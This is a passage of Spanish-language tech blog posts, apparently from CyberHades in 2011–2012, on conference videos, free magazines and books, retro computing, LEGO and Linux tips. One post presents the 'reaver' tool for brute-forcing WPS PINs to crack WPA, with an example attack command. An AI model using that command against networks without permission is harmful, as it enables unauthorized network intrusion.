No os perdáis el resto de la galería de este estupendo artista en su web, así como algunos vídeos donde muestra el proceso de creación de sus dibujos.

Vídeos de la conferencia SOURCE de Barcelona

Ya se pueden acceder a los vídeos y algunas de las presentaciones de las charlas dadas en la conferencia de seguridad SOURCE celebrada en Barcelona los pasados 16 y 17 de noviembre.

• Adapting to the Age of Anonymous Vídeo Presentación
• Wfuzz para Penetration Testers Vídeo Presentación
• Advanced (Persistent) Binary Planting Vídeo Presentación
• All Your Crimeware Are Belong To Us! Vídeo
• Are Agile and Secure Development Mutually Exclusive? Vídeo Presentación
• Canales Cubiertos en Redes Sociales Vídeo
• Metasploit: Hacker's Swiss Army Knife Vídeo
• Show Me Your Kung-Fu Vídeo
• RESTful Services, the Web Security Blind Spot Vídeo Presentación
• Steganography Vídeo Presentación
• Men in the server meets the Man In The Browser Vídeo Presentación
• Security Goodness with Ruby on Rails Presentación
• Security Convergence - Goldmines & Pitfalls Vídeo
• La calificación y su aplicación al cloud computing Vídeo
• How NOT to do a Penetration Test Vídeo
• There’s an App for That: Evolving Mobile Security into a Business Advantage Vídeo
• Data Exfiltration - the way Q would have done it Vídeo Presentación
• Legal/technical strategies addressing data risks as perimeter shifts to Cloud Vídeo
• Gaining Acceptance for a New Approach to Software Development Vídeo

Web de las charlas

Radio spectrum (Infografía)

Fuente

HispaBrick Magazine, revista gratuita sobre LEGO

(Click en la portada de este número 12 para verlo online)

Genial revista en castellano e inglés con noticias, eventos, tutoriales, entrevistas, construcciones, etc, todas relacionadas con el mundo de LEGO. Pero no creas que es una revista para niños, está orientada a usuarios más exigentes, para auténticos hackers de LEGO. Como muestra, en el último número aparece una comparativa de todos los motores Technic 9V de LEGO, donde incluyen tablas completas con su par, velocidad de rotación, corriente, potencia mecánica, etc.:

Si esta canción de domingo por la mañana no te …

Bishop Allen.

Apple, antes molabas ...

(Genial dibujo de nestormacia, visto aquí)

Apple, quién te ha visto y quién te ve.

Después de haber creado  dos de los mejores ordenadores de la historia, el Apple II y el Macintosh, parece que te estás convirtiendo en el Gran Hermano de Orwell que destrozaste con ese mazo arrojado a la pantalla donde se representaba el mal (en aquella época, según Apple era IBM) en el anuncio para promocionar el grandioso Macintosh (que con tanto sudor y lágrimas crearon tus ingenieros).

Uno a la semana

Aunque el título parezca sacado del prospecto de una medicina u otra cosa (mal pensado, a alguno ya le gustaría :) ) no lo es. Lo que os quería comentar es sobre este proyecto llamado code52, cuya idea o meta es la de realizar un proyecto (de programación) a la semana durante el transcurso del año, de ahí su nombre code52, 52 semanas del año.

Ya han terminado el primer proyecto llamado MarkPad y ahora están con el segundo, Jibbr. Durante la semana mientras desarrollan los proyectos también comentando el blog los avances y la situación actual. Por supuesto siempre puedes colaborar en dichos proyectos, de hecho, si tienes tiempo libre y quieres programar, esta es una magnífica forma de pasar el tiempo y aprender.

Revista gratuita, Indie Games Developer

Acaba de aparecer el número 1 de esta revista Indie Games Developer que tiene muy buena pinta. Está orientada a programadores de juegos, artistas gráficos, músicos, etc. En definitiva, a todo aquel que esté interesado en desarrollar juegos de forma independiente. Contiene tutoriales y herramientas, además de comentar las últimas novedades en juegos "Indie".

Ya está en nuestra lista de revista a consultar.

Puedes verla online desde aquí (requiere Flash). En la web, indican que próximamente estará disponible en PDF también (esperamos que siga siendo gratuita).

Life Hacks (Infografía)

Visto en Lifehacker

ClubHack Mag número 24

En el número de este mes de enero de 2012, podemos encontrar el siguiente contenido:

• 0x00 Tech Gyan - One Line Facebook
• 0x01 Tool Gyan - SQLMAP – Automated Sql Injection Testing Tool
• 0x02 Mom's Guide - Social Networking and its Application Security
• 0x03 Legal Gyan - Powers of Government under the Information Technology Act, 2000
• 0x04 Matriux Vibhag - Setting up and Getting started with Matriux Krypton
• 0x05 Poster - "I shall use strong password"

Aquí tenéis el PDF.

Web oficial

Er docu der finde: La máquina del tiempo

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Parte 5/5

Un relato corto de Ciencia Ficción sobre Materia …

(Mapa en 3D de la materia oscura, Wikipedia)

He descubierto la web Maximal Variety creada por Luis Acedo, un matemático investigador en la Universidad de Valencia, que tiene pocas entradas en el blog pero son muy técnicas e interesantes. La mayoría están en inglés pero hoy me he llevado una grata sorpresa al ver una entrada en  castellano en la que incluía un relato un corto relato de Ciencia Ficción que no debes perderte donde habla de materia oscura, universos paralelos y viajes por el espacio, entre otras cosas.

MSDN Magazine, consulta la revista de Microsoft …

Si eres desarrollador de programas en Windows, ya conocerás esta magnífica publicación de Microsoft mensual llamada MSDN Magazine. Está orientada a programadores de todas las plataformas creadas por Microsoft y disponible online (con todos los artículos completos).

El número actual, enero de 2012, aparecen varios interesantes artículos como:

• Windows Phone: Your first Windows Phone Application
• Building HTML5 Applications: Using HTML5 Canvas for Data Visualization
• ASP.NET Security: Securing Your ASP.NET Applications
• Screen-Based Input: Customized On-Screen Keyboards with the .NET Framework

Estos son solo algunos de ellos, puedes consultarlos todos en:

Terminator mod para GTA IV PC

Puedes descargarlo desde aquí.

Visto en Kotaku.

El problema con las patentes

Source: http://frugaldad.com

Libros técnicos para los que recibieron carbón el …

Si los reyes te trajeron carbón, aquí te dejamos unos libritos para que te entretengas ;)

• CSS & CSS3 Crash Course
• HTML5 Crash Course: Learn HTML5 in 20 Easy Lessons
• Software security in agile product management
• Git in the trenches
• The Art of Unix Programming
• Data Structures and Algorithms with Object-Oriented Design Patterns in:
• Java
• C++
• C#
• Python
• Ruby
• Lua
• Perl
• PHP
• Using GNU's GDB Debugger - Cached copy

Raspberry Pi + Gertboard, ¿Alguien dijo Arduino?

Ya os hablamos hace tiempo de Raspberry Pi aquí. Un ordenador mini capaz de correr Linux con entorno gráfico como Fedora.

Según parece finalmente habrán 2 modelos: uno con 128Mb de RAM y el otro con 256Mb.

Los precios parecen que también están fijados: 25 y 35 dólares respectivamente.

Si ya tenía pensado comprar al menos un par de estos cacharros, ahora con esta nueva placa que podemos conectarle al Raspberry Pi llamada Gertboard lo tengo todavía más claro.

Laboratorio portátil para la enseñanza del …

lifehacker.com

SWEET, Secure WEb dEvelopment Teaching o enseñanza de desarrollo seguro de aplicaciones web, es un conjunto de módulos portátiles, es decir, que te lo puedes llevar en un lápiz USB, por ejemplo, pensado para crear un laboratorio de trabajo para tus estudiantes.

Está compuesto por ocho módulos, los cuales están pensados para dar una clase de 3 horas cada uno. Estos son (PDFs):

1. Introduction to Web Technologies
2. Introduction to Cryptography
3. Secure Web Transactions
4. Web Application Threat Assessment
5. Web Server Security Testing
6. Vulnerability Management
7. Introduction to Web Services
8. Java Security

Además de dichos módulos, también se incluyen 6 proyectos/ideas para que los alumnos puedan desarrollar. Los proyectos son los siguientes (PDFs):

1. Automated Scanning
2. Brute Force Attack
3. Online Banking Security
4. OWASP Projects Review
5. Securing ASP.NET 2.0
6. Web Application Auditing

Además, en la web de este magnífico proyecto también podemos encontrar un tutorial introductorio a Linux (PDF) basado en una máquina virtual Ubuntu y otro de introducción a conceptos básicos de la web (PDF), así como XHTML, CSS y el protocolo HTTP.

Y por último también proveen dos sistemas virtualizados: Ubuntu (VMware - Virtual Box) con el paquete SWEET instalado y otro sistema con una Ubuntu sin software adicional.

Como siempre visita la web oficial para más información.

Apuntes del curso "Machine Learning" de Stanford

El pasado otoño de 2011, en la Universidad de Stanford se impartió un curso sobre “Machine Learning” por el profesor Andrew Ng. El autor ha recopilado todos sus apuntes en este blog, donde puedes consultarlo online o incluso descargar un fichero RAR con toda la documentación.

Este es el índice:

• 01 and 02: Introduction, Regression Analysis and Gradient Descent
• 03: Linear Algebra - review
• 04: Linear Regression with Multiple Variables
• 05: Octave[incomplete]
• 06: Logistic Regression
• 07: Regularization
• 08: Neural Networks - Representation
• 09: Neural Networks - Learning
• 10: Advice for applying machine learning techniques
• 11: Machine Learning System Design
• 12: Support Vector Machines
• 13: Clustering
• 14: Dimensionality Reduction
• 15: Anomaly Detection
• 16: Recommender Systems
• 17: Large Scale Machine Learning
• 18: Application Example - Photo OCR
• 19: Course Summary

Realmente interesante.

Visto en HackerNews.

Pingu presenta: La Cosa

Mira que he visto todo tipo de material friki y geek, pero siempre hay algo que logra sorprenderme aún más :)

Y como prueba, esta versión Pingu (si, ese pingüino de plastilina que le gusta a los niños) de la película de "La Cosa".

Madre mía ... visto en HTCARU.

Doom para ZX Spectrum 128KB (con disquetera)

httpv://youtu.be/3v7cFGneuaw

Según el autor, dice que funciona bien en un ZX Spectrum 128KB pero realmente este port está creado para los clones Pentagon y Scorpion rusos del ZX Spectrum. Estos ordenadores son similares al ZX Spectrum pero con algunas mejoras como por ejemplo en la RAM. Pero según los desarrolladores, esta versión fuciona bien en un ZX  Spectrum 128KB con disquetera (siempre podemos recurrir a un emulador para probarlo). También necesitas el TR-DOS, un sistema operativo de disco para los ordenadores ZX Spectrum.

Domingo por la mañana, Moonlit Sailor "Waterwall"

Moonlit Sailor

Zenmap, GUI Open Source para nmap

Windows, Linux y Mac

Zenmap es una GUI para nuestro querido amigo de aventuras nmap. Gracias a Zenmap podemos construir fácilmente parámetros para escanear, obtener informes de resultados y también incluso una representación gráfica de los datos obtenidos (crea un pequeño diagrama de la red y los equipos que la integran)

Otra ventaja que tiene es que permite almacenar los parámetros que hemos construido para nuestra llamada a nmap así como los resultados obtenidos (estos datos obtenidos se almacenan en XML).

Er docu der finde: La guerra del chip

Mi regalo de Reyes: Lego Mindstorm NXT 2.0

Estoy alucinando con mi regalo de Reyes este año. No me lo esperaba para nada y vaya sorpresa me he llevado al ver una caja de Lego Mindstorm NXT 2.0.

Lo primero que haré será buscar documentación alternativa a la de LEGO como BrickOS  para empezar a “jugar” un rato con él.

Pues nada, seguro que veréis más a menudo artículos relacionados con LEGO Mindstorm en nuestro blog :)

Repositorio de actividades Open Source de la NASA

Si el otro día os comentaba sobre varios libros electrónicos que la NASA había puesto a disposición de cualquiera de forma totalmente gratuita, ahora nos regalan un repositorio de código, dónde irán publicando todos los proyectos de código abierto que desarrollan. Sin duda alguna una gran noticia ver como este tipo de agencias apoyan el código abierto.

En estos momentos “sólo” han publicado cuatro proyectos:

OpenMDAO		https://github.com/nasa/OpenMDAO-Framework	Glenn Research Center
World Wind Java		https://github.com/nasa/World-Wind-Java	Ames Research Center
Vision Workbench		https://github.com/nasa/visionworkbench	Ames Research Center
StereoPipeline		https://github.com/nasa/StereoPipeline	Ames Research Center

Pero la lista es bastante más larga.

El sitio web no sólo albergará proyectos, sino también, lo que llaman ellos, todo tipo de actividades Open Source o de código abierto, además de un foro (el cuál no está activo en estos momentos) dónde tú puedes participar de forma activa en lo ellos denominan Open NASA web family.

Lo mejor del Día de Reyes, levantarte y abrir tu …

Seguro que estas fotos de niños abriendo sus regalos de Navidad (en este caso lo usaré mejor para el Día de Reyes) de hace unos años te traerá grandes recuerdos (haz click en las fotos para más información). Yo aún me acuerdo de aquellos regalos que consistían en un ordenador (aunque casi siempre me lo daban antes de ese día "para disfrutarlo más"). Pero del que más me acuerdo es de mi Sinclair ZX81 en su flamante caja de corcho junto a una pequeña impresora térmica (que aún tengo) y que mi padre compró en una tienda de muebles. Claro con esa edad, cuando conectabas el ordenador sólo veías un cursor parpadeando y en mi caso, no tenía ni programas en cinta, no tenía ni idea por donde empezar. Menos mal que venía con un libro de juegos para el ZX81 (que también aún conservo) y me puse a teclear como loco para luego ver sencillos juegos en modo texto de 1KB o menos de memoria (el ZX81 no tenía más de 1KB,  no 1MB, 1KB, 1024 bytes, un paquete IP con cabecera y algunos datos ocupa más).

Material sobre curso de algoritmia

El profesor Jeff Erickson de la facultad de ciencias de la computación de la Universidad de Ilinois, ha puesto a disposición de cualquiera todo el material que imparte en sus clases sobre algoritmia. Éste lleva impartiendo esta clase desde al año 1999.

El temario que usa para impartir su clase es el siguiente:

• 0. Introduction, history, and course goals
• Recursion
  • 1. Simplify and delegate
  • 2. Fast Fourier transforms
  • 3. Backtracking
  • 4. Fast exponential-time algorithms
  • 5. Dynamic programming
  • 6. Advanced dynamic programming tricks
  • 7. Greedy algorithms
  • 8. Matroids
• Randomization
  • 9. Nuts and bolts (randomized quicksort)
  • 10. Treaps and skip lists
  • 11. Tail inequalities
  • 12. Uniform and universal hashing
  • 13. Randomized minimum cut
• Amortized analysis
  • 14. Aggregation, taxation, potential
  • 15. Scapegoat trees and splay trees
  • 16. Maintaining disjoint sets ("union-find") — includes O(α(n)) amortized analysis
• Basic graph algorithms
  • 17. Representations, traversal
  • 18. Minimum spanning trees
  • 19. Single-source shortest paths
  • 20. All-pairs shortest paths
• Flows and cuts
  • 21. Maximum flows and minimum cuts
  • 22. Maximum flow algorithms
  • 23. Applications of maximum flow
  • 24. Extensions of maximum flow
• Linear programming
  • 25. Definitions and duality
  • 26. The simplex algorithm
• Lower bounds
  • 27. Decision trees, leaf counting
  • 28. Adversary arguments ("n-card monte")
  • 29. NP-hardness
  • 30. Approximation algorithms
• Appendix
  • I. Induction proofs
  • II. Solving recurrences

Pero además del temario en sí, también podemos acceder a todas las diapositivas, deberes y exámenes de cada clase por año.

Podemos también descargarnos todo el contenido en un sólo fichero, las charlas o los deberes y exámenes. Todos ellos en formato PDF.

WipeOut ¿real?

Pues no, es publicidad viral creada para anunciar el nuevo WipeOut 2048 para PlayStation Vita. Aunque sea falso, se basa en un fenómeno real llamado levitación cuántica ó Efecto Meissner.

Pero mola mucho ;)

Visto en Kotaku.

¿Tienes que reparar un cable de cinta plano?, pues …

(cable plano de cinta, foto DigiKey)

Pues sí, algo tan simple como una grapa puede quitarte un dolor de cabeza si tienes roto uno de esos cables tan delicados que suelen estar en los portátiles conectando las pantallas y los teclados. En HackADay han puesto estas dos fotos (haz click para ampliarlas) donde se puede ver la forma de graparlo (lo llaman "ribbon cable" pero creo que más bien es un cable de cinta plano ó "flat ribbon cable"):

Los ataques en Facebook ocurren en tres fases …

Fuente

En la nube, literal y no virtual. ¿El viaje es tu …

Si no tienes prisa cuando viajas y deseas disfrutar del paisaje no hay nada mejor que "Passing Cloud" Es un transporte medio zeppelin medio globo aerostático.

Los pasajeros abordarían la nube con el uso de escaleras para, posteriormente, sentarse sobre la superficie de ésta y disfrutar del viaje.

Guía Reddit para ponernos en forma (Infografía)

Fuente

Ebooks NASA

En la página web de la NASA, entre otras muchas cosas interesantes podemos encontrar una serie de libros electrónicos que puedes descargarte de forma totalmente gratuita.

Cada libro te lo puedes bajar tanto en PDF, Mobi o EPub. El listado es el siguiente:

• "Psychology of Space Exploration"
• "NASA's Contributions to Aeronautics, Vol. 1 and 2"
• "Cosmos & Culture: Cultural Evolution in a Cosmic Context"
• "X-15 Research Results"
• "NASA's Contributions to Aeronautics, Vol. 1 and 2"
• "NASA 50th Anniversary Proceedings"
• "Unmanned Space Project Management: Surveyor and Lunar Orbiter"
• "NASA Open Government Plan"
• "X-15: Extending the Frontiers of Flight"
• "Apollo of Aeronautics: NASA's Aircraft Energy Efficiency Program, 1973-1987"
• "Modeling Flight"
• "Ikhana: Unmanned Aircraft System, Western States Fire Missions"

Fuente

Instalación de los drivers de ATI en Ubuntu/Linux

Mi ordenador actual, Thinkpad T400, viene con dos tarjetas de vídeo, una Intel integrada en placa y una ATI Mobility Radeon HD 3400.

Bajo Windows se supone que puedes cambiar de una a otra por software, es decir, normalmente tu ordenador corre con la tarjeta de Intel (menos consumo de batería, pero también menos potente), pero si necesitas más potencia gráfica puedes hacer el cambio por software sin necesidad de reiniciar el sistema. Está funcionalidad en Ubuntu, al menos que yo sepá, no está soportada por lo tanto tienes que decidirte por una o por la otra.

Los mejores 20 artículos de HowToGeek

Otra web que seguimos es HowToGeek. Pues también han publicado su lista con los 20 mejores artículos del 2011.

Desde todos los trucos para pasar Anrgy Birds (en vídeo) hasta como controlar y ver tu teléfono Android remotamente, son sólo algunos ejemplos, echa un vistazo a la lista completa:

The 20 most popular articles HTG.

Lo mejor de LifeHacker en 2011

Nos gusta mucho la web de LifeHacker, y como era de esperar han sacado su listado de lo mejor en 2011.

Las menores guías Howto, mejores Top10, etc.

Best LifeHacker 2011

Debian (Infografía)

Fuente

Después de hacer login en Ubuntu el touchpad deja …

Esta entrada es un pequeño apunte sobre un problema que acabo de tener con mi touchpad. Cuando arrancaba mi sistema antes de hacer el login en el mismo, mi touchpad funcionaba como siempre, pero después de hacer meter mi usuario y contraseña, el touchpad ya no funcionaba, aunque sí que funcionaba el trackball.

Para volver mi touchpad a la vida finalmente encontré la solución aquí:

gconftool-2 --set --type boolean /desktop/gnome/peripherals/touchpad/touchpad_enabled true

Mi portátil es un Thinkpad T400 y el sistema operativo Ubuntu 10.04. Por cierto esto me pasó después de poner el sistema a hibernar.

2012, el año de Alan Turing

Este año se celebra el centenario del nacimiento del genio Alan Turing.

Puedes ver todos los eventos que están programados alrededor del mundo aquí.

Ya sabéis nuestra pasión por este héroe y genio moderno, estaremos atentos y lo celebraremos por todo lo alto, él se lo merece.

Canción para el primer domingo del año, "We All …

Para celebrar la entrada del nuevo año 2012, nada mejor que una tranquila canción para relajarnos:

We all inherit the Moon

De nuevo, feliz año 2012.

¡Feliz 2012!

2012

Desde CyberHades, os deseamos un feliz 2012.

Gracias por visitarnos y acompañarnos otro año más.

Descargando la Wikipedia (en inglés) con una …

(Imágen vista aquí)

Si por cualquier motivo necesitas la Wikipedia sin conexión a Internet, en esta web puedes descargarla. La versión pequeña ocupa 14MB y la grande 1GB. Además, en la web tienes un índice para buscar el artículo que quieras para luego bajarlo (más información en la web original)

Visto en HackerNews.

Proyecto Atari 2600 chiptune, una guitarra muy …

No os perdáis el vídeo, no sólo explica como la ha fabricado (usando un clásico Atari 2600), luego también la podéis ver en acción en un concierto en Tokio.

Visto en TheAwesomer. 

Vídeos de la 28c3

Un año más en Berlín, se celebra la conferencia sobre seguridad y hacking más grande de Europa. Ésta está organizada por el Computer Chaos Club o CCC y este año llega a su edición número 28 y como título: Tras las líneas enemigas (Behind Enemy Lines), celebrada, como decía antes, en Berlín entre los días 27 y 30 de diciembre.

Aquí os dejo la amplia lista con todos los vídeos de las charlas que se dieron. Muchos de los vídeos pintan muy bien. Otra alternativa para despedir el año ;)

Recopilación de conferencias sobre Ruby

En confreaks.net tienen una excelente recopilación de conferencias sobre Ruby. Si programas en Ruby o estás interesado en este magnífico lenguaje, ese sitio web es una joya. Este el listado de las conferencias que tienen recopiladas en este momento:

• Ruby Midwest 2011
• MagRails 2011
• Ruby Conference 2011
• Golden Gate Ruby Conference 2011
• Rocky Mountain Ruby 2011
• Madison Ruby 2011
• Cascadia Ruby 2011
• Farmhouse Conf 2011
• Scotland Ruby 2011
• Ruby On Ales 2011
• Mountain West Ruby Conference 2011
• LA Ruby Conference 2011
• Ruby Conference 2010
• RubyConf Uruguay 2010
• Mountain rb 2010
• Sunny Conf 2010
• Golden Gate Ruby Conference 2010
• Ruby|Web Conference 2010
• Lone Star Ruby Conference 2010
• Emerging Languages Camp 2010
• Agile Roots 2010
• Mountain West Ruby Conference 2010
• LA Ruby Conference 2010
• JRuby Conference 2009
• Ruby Conference 2009
• Lone Star Ruby Conference 2009
• Agile Roots 2009
• GoRuCo 2009
• LA Ruby Conference 2009
• Mountain West Ruby Conference 2009
• Parallels & Convergences 2009
• Acts as Conference 2009
• Ruby Conference 2008
• SMIDIG 2008
• Lone Star Ruby Conference 2008
• Ruby Hoedown 2008
• GoRuCo 2008
• Mountain West Ruby Conference 2008
• SMIDIG 2007
• Reject Conf 2007
• Ruby Conference 2007
• Ruby Hoedown 2007
• Mountain West Ruby Conference 2007

Libros técnicos para despedir el año

Bueno este fin de semana es el último del año y seguro que ya tienes los planes hechos para despedir este año por todo lo alto, pero en caso que no tengas planes o simplemente te quieras relajar un poco y leer algo técnico, aquí tienes algunas ideas:

• The Bastards Book of Ruby
• Learn Regex The Hard Way
• A First Course on Time Series Analysis
• Evolved to Win
• Windows Phone Toolkit In Depth 2nd edition
• Implementing functional languages: a tutorial
• The Hitchhiker’s Guide to Python

Er docu der finde: La historia de Pixar

Los 10 mejores tutoriales de Linux.com del 2011

Durante esta época en la que acaba el año y la entrada del 2012, veremos muchas entradas por todas partes de los típicos X mejores…, Top X… etc.

Pues nada aquí va una sobre los 10 mejores tutoriales en Linux.com de este año que se acaba 2011:

GNU Emacs 101 for Beginners

El título lo dice todo. Tutorial para principiantes sobre GNU Emacs.

Managing Live and Offline Migrations with Linux’s KVM

Minerim, versión Minecraft de Skyrim

httpv://youtu.be/ISfdCtuHy9g

Ya sabéis que estoy alucinando con Skyrim en mi Xbox, pues he visto ahora este video con una versión de Minecraft de Skyrim, llamada Minerim.

Espectacular, se veía venir.

Visto en forevergeek.

Rompiendo WPA en 10 horas (o menos)

Web de la imágen

Linux

Al menos eso dice el autor de esta aplicación llamada "reaver", una herramienta para atacar puntos de acceso con WPS. Se basa en obtener el pin del punto de acceso y luego realizar un ataque de fuerza bruta. El el siguiente paso es la contraseña utilizada en WPA/WPA2.

Su funcionamiento es muy sencillo:

 # reaver -i mon0 -b 00:01:02:03:04:05

"Reaver" es una aplicación open source aunque tiene otra versión comercial con más funciones.

Web del autor.

¡Exclusiva!, desvelado en fotografías el gran …

Estas fotos demuestran el gran secreto de los Aliados en la Segunda Guerra Mundial, así cualquiera ;)

Visto en CaveManCircus.

Libro gratuito, patrones de diseño en Python

Si estás interesando en programas de automatización de tareas, aprender Programación Orientada a Objetos ó simplemente diseño de patrones,  todo en Python, este libro seguro que te ayudará bastante.

Puedes acceder al contenido desde aqui.

Web del libro.

Visto en HackerNews.

Buscando en el baúl de los recuerdos de …

(un clon del pong que funciona, "Quemando Cromo" de Willian Gibson, un libro de DbaseIII, Cd's, etc)

Estos días en casa de mis padres, he echado un vistazo a un baúl que tenemos y donde se guardan todas mis cosas que no me he podido llevar a mi casa actual. Ya me gustaría pero ya tengo bastante material (y no tengo mucho espacio), pero la verdad es que ganas no me faltan. La excusa de abrir el baúl era encontrar una revista que me cambió para siempre llamada "My Computer" y que tengo todos los números (cuando los encuentre los pondré en el blog). De momento no la he encontrado, pero ya aparecerá.

Fijaos en todo lo que he encontrado:

Cartas de Magic, libros de Lovecraft, Asimov, Matrix en VHS, etc. Esos número de Investigación y Ciencia tienen los primeros artículos de Vida Artificial (Core Wars) originales de 1984.

Pulsa aquí si quieres ver más fotos:

Foto galería del Atlantis

Fue en julio si mal no recuerdo cuando el Atlantis llegaba a casa después del que sería su último viaje al espacio. Por Cybercaronte y yo vimos el hangar dónde estaban revisándola después de su llegada, en el Kennedy Space Center en Cabo Cañaveral.En estos tres enlaces: uno, dos y tres, puedes ver una serie de fotos impresionantes de la nave desde distintos puntos de vista. Os dejo aquí algunas de las fotos, pero visita los enlaces antes mencionados porque merecen la pena.

Historia del "Bat-Traje"

Estamos en los premios 20 Blogs

Si te gusta nuestro blog y quieres votarnos, pulsa aquí (tienes que tener un blog registrado en el concurso para poder hacerlo).

Es bastante difícil (por no decir imposible) pero seguro que hacemos nuevos amigos y conocemos nuevos blogs.

De paso queremos daros los gracias a todos por visitarnos.

Vaya me olvidé, canción para un domingo, bueno …

Me despisté con la Navidad ;)

The Temper Trap.

Creando un juego en 48h (video)

En concreto de un juego llamado “VOID” que inlinevoid programó para el concurso Ludum Dare. Merece la pena echar un vistazo al video y ver el tremendo trabajo, ya que el programador hace todo, gráficos y código. De paso también podemos ver las herramientas que fue utilizando durante todo el proceso.

Prometheus, trailer oficial y primeras impresiones

No pinta mal. Mis primeras impresiones, fijaos que no hay huevos, son más bien otro tipo “recipientes” o “ampollas”. Ya que Ridley Scott ha descartadola aparición de “aliens”, parece que posiblemente el ser humano tenga que ver en la evolución de los seres que todos conocemos de la saga Alien. A lo mejor son una evolución de una mezcla entre humanos y otra cosa … se admiten apuestas ;)

Prometheus se estrena en junio de 2012.

CyberHades os desea ¡Feliz Navidad! (a lo …

Ya casi es Navidad, así que nada mejor que una demo retro (1982) de nuestro querido Commodore 64 para celebrarlo.

Visto en HTG.

Revisión del código de Another World

Recuerdo ese juego de mi época del Amiga, pero la verdad es que no jugué con él. Para ser honestos, no me gusta jugar, pero si que me impresiona toda la ingeniería que hay detrás de un juego, como es el caso de Antoher World.

Es impresionante ver como, un juego del año 91 estaba basado en una máquina virtual, lo cual hacía la portabilidad del juego en sí muy flexible. Para que te hagas una idea, esto es en lo que se basa Java o la plataforma .NET. Java sin ir más lejos hizo su aparición en 1995, es decir, 4 años más tarde que este juego.

Villancico linuxero

Nada como un buen villancico para empezar el fin de semana, por supuesto después de ver Er docu der finde :)

Er docu der finde: Historia de los videojuegos

Como se hizo Super Mario 3

Es un libro en japonés (viene en inglés traducido también) sobre la fabricación del cartucho, distribución y la programación del juego clásico Super Mario 3. Incluye detalles y fotos curiosas. Especialmente verás a un Miyamoto joven, las placas de circuito originales, bocetos, los ordenadores, etc.

Como curiosidad, Super Mario 3 se programó usando HP 64000, un mainframe de la época.

Una buena forma de ver todo el proceso de programación, fabricación y distribución de un juego de Nintendo en 1989.

Así "veía" el Apple II en 1979

El DS-65 Digiselector era un digitalizador de video para el Apple II. La salida obtenida no era muy espectacular pero no esta nada mal para la época (tenía 256x256 pixels y 64 niveles de grises). Este aparato fue una auténtica revolución ya que apareció cuando las cámaras digitales aún estaban a años luz.

No he podido encontrar apenas información en Internet sobre este dispositivo, sólo este artículo de una revista donde lo vendían y algunos trabajos en PDF (la mayoría científicos) donde lo utilizaban:

Primer trailer de "El Hobbit"

Guauuuuuuuuu! , los pelos de punta ;)

Aún nos queda esperar un año, pero seguro que será espectacular.

15 años sin el genio Carl Sagan

Nuestros amigos de Microsiervos nos recuerdan en su web una fecha imporante, hoy se cumplen 15 años desde el fallecimiento del genio Carl Sagan. Aún recuerdo cuando era pequeño y me sentaba hipnotizado, oyendo la espectacular música (creada por Vangelis) de entrada de la serie Cosmos. No me enteraba de casi nada pero me gustaba, y de alguna manera se quedó para siempre en mi subconsciente.

Más tutoriales con ejemplos sobre Android

En esta entrada podemos encontrar más tutoriales sobre Android con sus correspondientes ejemplos.

Estos están divididos en las siguientes secciones:

• CheckBox
• ListView
• Tab Bar
• Toast Notification
• AsyncTask
• EditText
• TextView
• GridView
• ProgressBar
• Spinner
• ToggleButton
• Android 3.0 – Honeycomb
• Sending SMS from Android application
• WebView
• Other Articles

Fuente

Se abre un nuevo frente de batalla en la educación …

La Universidad de Stanford, como muchos ya sabéis, empezó el pasado mes de septiembre con un programa piloto sobre educación online, ofreciendo las clases de Introducción a la Inteligencia Artificial, Bases de datos y Machine Learning y la cual va a repetir en este nuevo año con estas mismas clases y además añadiendo algunas nuevas como ya os contamos aquí.

Viendo el éxito que ha tenido dicho experimento, la que la universidad sobre tecnología por excelencia, MIT, no quiere ser menos que se monta al carro de la educación del futuro.

Cómo escribir juegos para NES

Cómo disfruto leyendo este tipo de artículos. Éste concretamente está basado en un artículo publicado por los autores del juego M.C Kids para NES en el Journal of Computer Game Design, poco después de que estos acabaran dicho juego.

En el artículo encontrarás muchos de los secretos y trucos que se empleaban en aquel entonces para superar las barreras impuestas por el hardware. Piensa que una NES tenía:

• Una ROM (código) de hasta 256k
• Otros 256K  en ROM para datos (gráficos)
• 256 caracteres de imagen de fondo, con áres de 8×8 pixeles
• Lo mismo para el manejo de sprites, 256 en 8x8
• Manejo de 64 sprites (8×8) con un máximo de 3 colores
• Tres canalaes de sonido, un canal de ruido y un canal para tocar samples con acceso directo a memoria.
• Cuatro paletas de 3 colores para la pantalla, otros 4 para los sprites y un color de fondo
• 2K para código y 2K para vídeo de RAM

Como puedes ver las limitaciones del hardware hacen la programación de juegos de la época muy extremas.

Una entrada perfecta para aquellos iniciados o no en la programación y quieran aprender a crear el típico juego de scroll lateral. No hay nada como jugar programando ;)

Listado de Reddit con los mejores recursos online …

Recopilación de Reddit con los mejores sitios online gratuitos para aprender casi cualquier cosa. Estas páginas web pueden ser academias, universidades o blogs. En todas ellas encontrarás una selección de documentación tanto en formatos PDF, PowerPoint, en vídeo o en audio para aprender desde cocinar, idiomas hasta incluso temas de Informática ;)

Este es el listado (muchas páginas seguro que ya las conoces, como por ejemplo Instructables, Scribd ó Make Magazine):

Sitios Generales:

Escuelas y Universidades:

Vídeo con todos los "Fails" del 2011

Visto en TheAwesomer.

Las mejores publicaciones académicas ("papers") de …

(Documento: "Computational Rationalization: The Inverse Equilibrium Problem")

Uf!, aquí tenéis para un rato de diversión ;)

Ojo porque esta lista de documentos no es para dejarla pasar. Personalmente creo que hay que descargar todos los ficheros y dejarlos bien guardaditos para echarles un vistazo en cuanto tengáis algo de tiempo.

Dividido en categorías, en cada una de ellas se encuentran las publicaciones más valoradas de ese año en ese campo en concreto.

25 Herramientas útiles para diseñadores

En este enlace puedes encontrar varios generadores de “objetos” para tus programas o páginas web. Por ejemplo iconos de carga, colores especiales, iconos favicon, fondos de pantalla con patrones, generador de pestañas, generador de badges, textos, etc.

Seguro que alguno te puede venir bien.

Visto en AWcore.

5MB de disco duro en 1956

Visto en Geeks Are Sexy.

Orbital "Never", para este domingo de frío por la …

Perfecta para comenzar un domingo.

Orbital

Cripta (Del Horror) Innombrable (webcómic), en …

(Click para ampliar)

Nos encanta esta tira cómica basada en los Mitos de Cthulhu de H.P. Lovecraft creada por Goomi (François Launet). Ya llevamos tiempo siguiéndola en su versión en inglés.

Ahora puedes hacerlo en su una nueva versión es español.

No os la perdáis.

Web Cripta (del Horror) Innombrable en español.

PD: por cierto, ha sacado un cómic en papel ya disponible en librerías.

La belleza de Battlefield 3

Muchas veces no nos paramos a ver los paisajes que nos rodean en muchos juegos, entonces nos perdemos maravillas como esta (ejemplo con Battlefield 3 , ojo a los espectaculares gráficos realistas).

Visto en TheAwesomer.

Presentaciones de la Ruxcon 2011

